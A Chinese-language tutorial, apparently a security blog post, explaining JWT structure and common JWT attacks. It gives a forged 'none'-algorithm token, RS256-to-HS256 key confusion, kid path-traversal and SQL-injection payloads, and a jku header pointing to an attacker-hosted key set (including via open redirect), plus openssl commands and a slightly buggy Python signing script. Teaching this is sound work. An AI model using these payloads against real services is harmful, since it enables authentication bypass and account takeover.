# 什么是 JWT
**JWT(JSON Web Token)** 是一种开放标准(RFC 7519),用于在网络应用环境中传递声明和验证信息的 compact URL-safe 标记。它广泛应用于 身份认证
和 授权
的场景,尤其是在 Web 应用和 API 认证中。
在 web 中经常遇到 JWT 进行身份验证和识别,比如某个请求包的 cookie 或 session 就会包含 JWT。JWT 最显著的特征是 ey
开头,且三段数据被两个 .
隔开,比如
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiaGksYnJvISIsImlhdCI6MTczMjgwOTYwMH0.huUcP1qz1hQhktX22tvOV9OImb_MK68SQJ7Kp8t7g48
这是因为 JWT 的原始数据是 JSON 格式的,而 JSON 数据是由 {"<data>"}
进行包裹的, {"
经过 base64 编码后的字符串就是以 ey
开头的。
上图中,左边是编码后的数据,右边是原始数据
# JWT 的结构
JWT 由三部分组成,每一部分都经过 Base64Url 编码,中间用 .
分隔:
- Header(头部):
- Header 通常由两部分组成:
alg
(签名算法)和typ
(令牌类型)。最常见的签名算法是 HMAC SHA256。 - 示例:
{"alg": "HS256", "typ": "JWT"}
- Header 通常由两部分组成:
- Payload(载荷):
- Payload 部分包含声明(Claims)。声明是关于实体(通常是用户)和其他数据的元数据,也是 JWT 的主要有效内容。
- 示例:
{"name": "admin", "iat": 1732809600}
- Signature(签名):
- 使用
密钥
(通常是服务器端保密的)和指定的签名算法
(例如 HMAC SHA256)对 Header 和 Payload 进行签名。签名确保 JWT 的内容没有被篡改。 - 签名生成过程:
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secretKey)
- 由上面的生成算法我们可以得知,只要
header
和payload
改变了,最后的signature
也随之改变,所以 signatue 字段主要起到签名的作用,接收方可以验证 JWT 的完整性,并确保数据是由合法的服务端生成的。
- 使用
# JWT 的工作原理
- 用户登录,服务器生成 JWT*
-
用户在客户端提交其用户名和密码。
-
服务器验证用户的凭证(例如查数据库验证密码是否正确)。
-
如果凭证正确,服务器生成一个 JWT,通常包括用户的 ID、角色、权限等信息,并将此 JWT 返回给客户端。这个 JWT 包含了关于用户身份和授权的数据。
例如,生成的 JWT 可能包含以下信息:
sub
(subject):用户 IDrole
(角色):用户角色(如 admin、user 等)exp
(过期时间):JWT 的有效期限
- 客户端存储 JWT
- 客户端(浏览器或移动应用)接收到 JWT 后,通常将其存储在本地存储(如
localStorage
或sessionStorage
)中,或者在 HTTP 请求中将其存储为 Cookie(最好设置为 HTTP-only 和 Secure 属性,以提高安全性)。
- 客户端发起请求,携带 JWT
-
当客户端需要访问受保护的资源时,它会在请求的
Authorization
头部携带 JWT。通常使用Bearer
模式:Authorization: Bearer <JWT>
- 服务器验证 JWT*
- 服务器接收到请求后,会从
Authorization
头部提取 JWT。 - 服务器使用预设的密钥(或者公钥,如果使用非对称加密的话)验证 JWT 的签名是否正确,以确保请求未被篡改。如果签名验证成功,服务器还会检查 JWT 中的
exp
等声明,确保 JWT 没有过期。 - 补充一下,验证过程其实是客户端发来的
signature
与服务器自己用密钥重新计算得到的signature
进行比较的过程,并不依赖于 “加解密” 的操作,而是 “签名验证
”。非对称加密的话,就用私钥进行签名,公钥来验证。
- 服务器响应请求
- 如果 JWT 验证通过且有效,服务器将允许访问受保护资源并返回相应的数据(例如用户信息、API 数据等)。
- 如果验证失败或 JWT 无效(如签名错误、过期等),服务器将返回 401 Unauthorized 错误,要求用户重新登录。
# JWT 的优点
- 无状态:JWT 包含了所有用户的身份信息,因此服务器不需要存储会话状态,减少了服务器负担。
- 跨域支持:JWT 是自包含的,可以在不同的系统和服务之间进行传输,特别适用于跨域请求。
- 灵活性:JWT 可以承载多种自定义数据,适合用于分布式系统中不同服务之间的认证与授权。所以 JWT 还可用于 SSO 登录(单点登录)。
# JWT 存在的安全问题
# 签名算法
JWT 的 header
部分包含一个 alg
字段,它指定了签名的算法,例如 HS256
(HMAC SHA-256)、 RS256
(RSA 签名)等。
# none 算法漏洞
如果 alg
字段被恶意修改为 none
,JWT 将被认为是未签名的,从而使得任何人都可以篡改 payload
而不影响 JWT 的有效性。比如:
header:
{"typ": "JWT", "alg": "none"}
payload:
{"user":"admin", "iat":1730000000}
此时 signature 字段可以省略。
对两个字段进行处理 : base64(header).base64(payload).
生成 JWT
eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0.eyJ1c2VyIjoiYWRtaW4iLCAiaWF0IjoxNzMwMDAwMDAwfQ.
要注意的是,JWT 使用的 base64 编码算法为
base64UrlEncode
,要把 base64 编码后的=
去掉;同时要注意 JWT 中base64(payload)
后的.
不能省略
此时就可以自由修改 payload 的内容,用生成的恶意 JWT 代替原始 JWT 去进行权限绕过了。
# 将非对称加密算法替换为对称加密算法
从上文提到的 JWT 工作原理中,我们可以得知:JWT 在进行身份验证的时候,是通过 alg
指定算法的密钥(或公钥)进行签名验证的。
alg 算法可以是对称加密(如 HMAC),也可以是非对称加密 (如 RSA)。
如果是 对称加密算法
:
- 用密钥签名
- 用同一个密钥验证
如果是 非对称加密算法
:
- 用私钥签名
- 用公钥验证
如果一个 web 应用程序使用 RS256 (非对称加密算法) 进行 JWT 的签名验证,则签名时调用 RS256_sign(private_key, data)
,验证时调用 RS256_verify(public_key, data)
,如果这时候我们把 alg
字段修改为 HS256
(对称加密算法),它就会在验证时调用 HS256(public_key, data)
,上面我们提到,用对称加密算法签名验证时使用的是同一个密钥,所以,我们要用 public_key (也就是 RS256 的公钥) 对 data 进行签名,而不是用 private_key,因为我们通过修改 alg
把非对称加密算法换成了对称加密算法,这时候就能通过验证。
因此我们需要获得 public_key,这个公钥可能藏在 JS 代码中,或者通过目录扫描发现的文件里等等。
所以这个漏洞的利用要满足两个条件:
- alg 可修改并且修改后也起作用
- 获得非对称加密的公钥
# kid 字段
在 JWT 的 header 中,除了常见的 alg 和 type,还有一个可选字段 kid
,用于指明签名时使用哪个密钥。
有时候服务端使用多对密钥对(例如多个 RSA 公钥私钥),并且每个公钥都有一个唯一标识符 kid
,当服务器生成 JWT 时,可以在 header 中加上 kid
字段,指明验证 JWT 签名时使用哪个公钥进行验证。
比如:
"kid": "abc123"
:指示该 JWT 是用abc123
对应的密钥签名的。"kid": "xyz789"
:指示该 JWT 是用xyz789
对应的密钥签名的。
# 目录遍历
如果 kid
被用来从文件系统中加载公钥(如 /keys/${kid}.pem
)的话,攻击者可以构造恶意的 kid 字段,造成目录遍历漏洞。通常情况下我们进行目录遍历是为了未授权获取某些文件,但在 JWT 中则是为了 绕过
。
比如某个 JWT 的 headr 字段是这样的:
{
"typ": "JWT",
"alg": "HS256",
"kid": "0001"
}
此时服务端会去文件系统中取标识符为 0001 的密钥进行签名,我们假设公钥文件位于 /var/www/html/publickey/0001
,我们可以通过修改 kid,让公钥变成我们已知内容的文件,比如构造 "kid": "../../../../var/null"
,此时公钥就是 /var/www/html/publickey/../../../../var/null,也就是 /var/null
,我们知道 /var/null 文件在 Linux 中是个特殊的文件,它永远为空,所以密钥是空的,既然已知密钥了,此时就可以构造恶意的 JWT 去进行绕过。
{
"typ": "JWT",
"alg": "HS256",
"kid": "../../../../var/null"
}
不只是 /dev/null 文件,只要服务器中存在某个可读文件,且你可以知道内容,那么也可以当作密钥,比如最常见的就是 js、css 文件了。
# SQL 注入
如果密钥文件是存储在数据库里,kid 获取密钥文件需要运行 sql 语句,那么攻击者也可以构造恶意的 kid 造成 sql 注入。比如:
SELECT public_key FROM keys WHERE kid = '<kid>'; |
攻击者在 kid 注入下面内容:
{
"kid": "1' OR 1=1 -- "
}
导致查询变成:
SELECT public_key FROM keys WHERE kid = '1' OR 1=1 -- '; |
但要记住我们的目的是 绕过
,所以要让 public_key 成为我们已知的值。可以这样构造: "kid": "-1' union select 'aaa' -- "
,这时候密钥就是 aaa
了。
# jku 字段
在 JWT 中, jku
是一个可选的 header 字段,代表 JWK Set URL(JSON Web Key Set URL)。它的作用是指向一个 URI,该 URI 返回包含公钥的 JSON Web 密钥集(JWK Set),用来验证 JWT 的签名。当 jku
被使用时,签名的验证过程将通过这个 URL 获取到的公钥来进行。
就像下面这样:
{ | |
"alg": "RS256", | |
"typ": "JWT", | |
"jku": "https://example.com/jwks.json" | |
} |
看了这里,你应该知道怎么去构造恶意的 jku 了,其实就像文件包含漏洞一样,你可以修改 jku 让它指向一个恶意的 URL,达到将密钥修改成已知内容的目的。但首先我们得知道这个 jwks.json 是个什么样格式的文件。
jku 返还的内容是 JSON Web 密钥集(JWK Set)通常用于存储公钥,格式如下:
{ | |
"keys": [ | |
{ | |
"kty": "RSA", | |
"use": "sig", | |
"kid": "0001", | |
"n": "oTtAXRgdJ6Pu0jr3hK3opCF5uqKWKbm4KkqIiDJSEsQ4PnAz14P_aJnfnsQwgchFGN95cfCO7euC8HjT-u5WHHDn08GQ7ot6Gq6j-fbwMdRWjLC74XqQ0JNDHRJoM4bbj4i8FaBdYKvKmnJ8eSeEjA0YrG8KuTOPbLsglADUubNw9kggRIvj6au88dnBJ9HeZ27QVVFaIllZpMITtocuPkOKd8bHzkZzKN4HJtM0hgzOjeyCfqZxh1V8LybliWDXYivUqmvrzchzwXTAQPJBBfYo9BO6D4Neui8rGbc49OBCnHLCWtPH7m7xp3cz-PbVnLhRczzsQE_3escvTF0FGw", | |
"e": "AQAB", | |
"alg": "RS256" | |
} | |
] | |
} |
其中(n,e)是 RSA 的公钥
那如何生成这样的 jwk set 呢?
# 生成 JWK Set 的步骤
# 步骤 1:使用 OpenSSL 生成 RSA 密钥对
-
生成私钥:首先,你需要生成一个 RSA 私钥。可以使用以下命令生成一个 2048 位的私钥文件:
openssl genpkey -algorithm RSA -out private_key.pem -aes256 -pkeyopt rsa_keygen_bits:2048
这会生成一个加密的 RSA 私钥,并将其保存在
private_key.pem
文件中。你也可以选择不使用密码加密:openssl genpkey -algorithm RSA -out private_key.pem -pkeyopt rsa_keygen_bits:2048
-
导出公钥:一旦生成了私钥,你可以从私钥中提取公钥。可以使用以下命令:
openssl rsa -in private_key.pem -pubout -out public_key.pem
这会生成一个未加密的公钥文件
public_key.pem
。
# 步骤 2:提取 n
和 e
要从公钥中提取出 RSA 公钥的模数 ( n
) 和公钥指数 ( e
),你可以使用以下命令:
openssl rsa -in private_key.pem -pubout -text |
这个命令将显示 RSA 公钥的详细信息,其中包含 n
和 e
的值。例如,输出结果可能如下:
Public-Key (2048 bit) | |
Modulus: | |
00:ad:3e:ed:93:2d:4d:3e:56:bb:fd:67:16:a6:7a: | |
14:ae:3c:a9:31:47:64:6b:77:fa:60:ae:69:72:ac: | |
... | |
Exponent: 65537 (0x10001) |
- Modulus (
n
) 是一个长整数,它是公钥的一部分,通常会以十六进制格式显示。 - Exponent (
e
) 是公钥的指数,通常是一个固定的值,最常见的就是65537
(即0x10001
)。
# 步骤 3:转换为 JWKS 格式
在你提取出 n
和 e
后,可以将它们放入 jwks.json
文件。 n
和 e
必须使用 Base64 URL 编码格式。
1. Base64 URL 编码 n
和 e
使用 OpenSSL 将 n
和 e
编码为 Base64 URL 格式:
# 对模数 (n) 进行 Base64 URL 编码 | |
openssl base64 -A -in n.hex # n.hex 是包含十六进制形式模数的文件 | |
# 对公钥指数 (e) 进行 Base64 URL 编码 | |
openssl base64 -A -in e.hex # e.hex 是包含十六进制形式指数的文件 |
n
(模数):"ad3eed932d4d3e56bbfd6716a67a14ae3ca93147646b77fa60ae6972ac..."e
(公钥指数):65537
(即0x10001
)
然后,你就可以将这些编码后的 n
和 e
放入 jwks.json
文件中。
2. 生成 jwks.json
示例
假设你已经提取并编码了 n
和 e
,可以生成如下格式的 jwks.json
:
{ | |
"keys": [ | |
{ | |
"kty": "RSA", | |
"kid": "key1", | |
"use": "sig", | |
"alg": "RS256", | |
"n": "ad3eed932d4d3e56bbfd6716a67a14ae3ca93147646b77fa60ae6972ac...", // Base64 URL 编码的模数 | |
"e": "AQAB" // 公钥指数 (通常是 65537,即 "AQAB") | |
} | |
] | |
} |
ok,我们已经让服务器用我们的公钥进行验证了,接下去就要用对应的私钥进行签名。
我们刚刚在刚刚构造 JWK Set 的时候生成了一个私钥 private_key.pem
,我们用 python 进行签名:
import jwt | |
from cryptography.hazmat.primitives import serialization | |
# 加载私钥 | |
with open("private_key.pem", "rb") as key_file: | |
private_key = serialization.load_pem_private_key( | |
key_file.read(), | |
password=None | |
) | |
# 定义 JWT 头部 | |
{ | |
"alg": "RS256", | |
"typ": "JWT", | |
"jku": "https://your_vps/jwks.json" | |
} | |
# 定义 JWT 负载 | |
payload = { | |
"name": "admin", | |
} | |
# 使用私钥签名生成 JWT | |
encoded_jwt = jwt.encode(payload, private_key, algorithm="RS256", headers=haeder) | |
print(encoded_jwt) |
当然,jku 会有一些安全措施,比如设置对 URL 进行验证或设置白名单、配置跨域资源共享(CORS)以限制 URL 的跳转等。根据不同的安全措施和限制程度,有以下操作方法:
# 远程文件获取
如果服务器不限制 jku 获取的 URL,那么就能让其指向恶意的 jwks 文件,就是我们上面举例的例子。
# 本地文件获取
如果服务器规定 jku 不允许跨域,只允许同一服务器或域来获取 URL
# 配合文件上传
我们可以试着使用文件上传功能将我们的 JWK 文件放在同一服务器上,从而绕过限制(因为我们的恶意 URL 将以其域的 URL 开头)。
# 配合 Open Rection
举个例子就懂了
{ | |
"alg": "RS256", | |
"typ": "JWT", | |
"jku": "https://victim-site.com/redirect?url=https://attacker-site.com/jwks.json" | |
} |